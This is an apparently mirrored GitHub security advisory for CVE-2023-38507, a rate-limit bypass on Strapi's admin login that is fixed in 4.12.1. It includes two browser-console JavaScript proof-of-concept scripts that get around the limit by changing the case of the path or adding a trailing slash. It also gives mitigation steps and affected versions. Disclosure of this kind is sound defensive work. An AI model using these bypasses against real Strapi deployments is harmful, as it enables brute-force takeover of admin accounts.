Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS0yNHEyLTU5aG0tcmg5cs4AA12t

Strapi Improper Rate Limiting vulnerability

1. Summary

There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

2. Details

It is possible to avoid this by modifying the rate-limited request path as follows.

  1. Manipulating request paths to upper or lower case. (Pattern 1)
    • In this case, avoidance is possible with various patterns.
  2. Add path slashes to the end of the request path. (Pattern 2)

3. PoC

Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.

Pattern 1 (uppercase and lowercase)

// poc.js
(async () => {
  const data1 = {
    email: "[email protected]",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "[email protected]",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/Login", {  // capitalize part of path
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

Pattern 2 (trailing slash)

// poc.js
(async () => {
  const data1 = {
    email: "[email protected]",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "[email protected]",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/login/", {  // trailing slash
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

PoC Video

4. Impact

It is possible to bypass the rate limit of the login function of the admin screen.
Therefore, the possibility of unauthorized login by login brute force attack increases.

5. Measures

Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.

https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31

6. References

Permalink: https://github.com/advisories/GHSA-24q2-59hm-rh9r
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNHEyLTU5aG0tcmg5cs4AA12t
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 8 months ago
Updated: 6 months ago


CVSS Score: 7.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Identifiers: GHSA-24q2-59hm-rh9r, CVE-2023-38507
References: Repository: https://github.com/strapi/strapi
Blast Radius: 25.3

Affected Packages

npm:@strapi/plugin-users-permissions
Dependent packages: 34
Dependent repositories: 2,929
Downloads: 403,454 last month
Affected Version Ranges: < 4.12.1
Fixed in: 4.12.1
All affected versions: 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8, 4.1.9, 4.1.10, 4.1.11, 4.1.12, 4.2.0, 4.2.2, 4.2.3, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 4.3.6, 4.3.7, 4.3.8, 4.3.9, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6, 4.4.7, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.7.0, 4.7.1, 4.8.0, 4.8.1, 4.8.2, 4.9.0, 4.9.1, 4.9.2, 4.10.0, 4.10.1, 4.10.2, 4.10.4, 4.10.5, 4.10.6, 4.10.7, 4.10.8, 4.11.0, 4.11.1, 4.11.2, 4.11.3, 4.11.4, 4.11.5, 4.11.6, 4.11.7, 4.12.0
All unaffected versions: 4.12.1, 4.12.2, 4.12.4, 4.12.5, 4.12.6, 4.12.7, 4.13.0, 4.13.1, 4.13.2, 4.13.3, 4.13.4, 4.13.5, 4.13.6, 4.13.7, 4.14.0, 4.14.1, 4.14.2, 4.14.3, 4.14.4, 4.14.5, 4.14.6, 4.15.0, 4.15.1, 4.15.2, 4.15.3, 4.15.4, 4.15.5, 4.16.0, 4.16.1, 4.16.2, 4.17.0, 4.17.1, 4.18.0, 4.19.0, 4.19.1, 4.20.0, 4.20.1, 4.20.2, 4.20.3, 4.20.4, 4.20.5, 4.21.0, 4.21.1, 4.22.0, 4.22.1, 4.23.0, 4.23.1, 4.23.2, 4.24.0
npm:@strapi/admin
Dependent packages: 24
Dependent repositories: 2,836
Downloads: 418,907 last month
Affected Version Ranges: < 4.12.1
Fixed in: 4.12.1
All affected versions: 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8, 4.1.9, 4.1.10, 4.1.11, 4.1.12, 4.2.0, 4.2.2, 4.2.3, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.3.5, 4.3.6, 4.3.7, 4.3.8, 4.3.9, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6, 4.4.7, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.7.0, 4.7.1, 4.8.0, 4.8.1, 4.8.2, 4.9.0, 4.9.1, 4.9.2, 4.10.0, 4.10.1, 4.10.2, 4.10.4, 4.10.5, 4.10.6, 4.10.7, 4.10.8, 4.11.0, 4.11.1, 4.11.2, 4.11.3, 4.11.4, 4.11.5, 4.11.6, 4.11.7, 4.12.0
All unaffected versions: 4.12.1, 4.12.2, 4.12.4, 4.12.5, 4.12.6, 4.12.7, 4.13.0, 4.13.1, 4.13.2, 4.13.3, 4.13.4, 4.13.5, 4.13.6, 4.13.7, 4.14.0, 4.14.1, 4.14.2, 4.14.3, 4.14.4, 4.14.5, 4.14.6, 4.15.0, 4.15.1, 4.15.2, 4.15.3, 4.15.4, 4.15.5, 4.16.0, 4.16.1, 4.16.2, 4.17.0, 4.17.1, 4.18.0, 4.19.0, 4.19.1, 4.20.0, 4.20.1, 4.20.2, 4.20.3, 4.20.4, 4.20.5, 4.21.0, 4.21.1, 4.22.0, 4.22.1, 4.23.0, 4.23.1, 4.23.2, 4.24.0